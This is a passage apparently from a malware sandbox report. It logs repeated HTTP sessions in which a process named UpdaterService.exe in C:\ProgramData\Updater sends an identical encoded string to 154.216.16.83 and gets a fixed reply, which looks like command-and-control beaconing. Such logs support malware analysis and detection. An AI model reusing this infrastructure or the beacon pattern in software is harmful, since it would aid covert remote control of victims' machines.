107	192.168.2.4	50119	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:01.402631998 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:02.590140104 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50120	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:02.933994055 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:04.128606081 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50121	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:04.465105057 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:05.672718048 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50122	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:06.012660027 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:07.197437048 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50123	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:07.543354034 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:08.773152113 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50124	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:09.121356010 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:10.328006983 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50125	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:10.668277979 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:11.866224051 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50126	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:12.215785980 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:13.480423927 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50127	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:13.824623108 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:15.010986090 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50128	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:15.386609077 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:16.556710958 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50129	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:16.902771950 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:18.090696096 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50130	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:18.433963060 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:19.621133089 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50131	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:19.965276957 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:21.153223038 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50132	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:21.496633053 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:22.710042953 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50133	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:23.058973074 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:24.248404980 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50134	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:24.590323925 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:25.775396109 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50135	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:26.121453047 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:27.309505939 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50136	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:27.652725935 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:28.883538961 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50137	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:29.230922937 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:30.418724060 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50138	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:30.778063059 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:31.992532969 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50139	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:32.340282917 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:33.539092064 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50140	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:33.887216091 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:35.080878019 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50141	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:35.418370008 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:36.605571985 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50142	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:36.949734926 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:38.139540911 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50143	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:38.480848074 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:39.683319092 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50144	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:40.027739048 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:41.253671885 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50145	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:41.606214046 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:42.794215918 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50146	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:43.137325048 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:44.383183002 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50147	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:44.747255087 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:45.933101892 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50148	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:46.277915955 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:47.464984894 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50149	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:47.809036970 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:49.022139072 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50150	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 21:42:49.371671915 CET	55	OUT	Data Raw: 35 31 0d 0a 39 30 4b 6b 65 32 57 34 52 49 36 6c 39 75 4b 6b 39 32 39 72 50 30 55 58 39 75 39 30 67 34 50 58 50 30 55 33 65 6c 69 51 50 64 36 31 53 49 48 4e 75 4d 65 Data Ascii: 5190Kke2W4RI6l9uKk929rP0UX9u90g4PXP0U3eliQPd61SIHNuMe
Dec 14, 2024 21:42:50.567267895 CET	33	IN	Data Raw: 41 36 7a 51 7a 78 5a 6d 6b 4e 43 5a 55 36 73 6b 33 49 51 2b 51 7a 43 71 73 74 7a 52 32 58 67 0d 0a Data Ascii: A6zQzxZmkNCZU6sk3IQ+QzCqstzR2Xg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50151	154.216.16.83	80	7636	C:\ProgramData\Updater\UpdaterService.exe

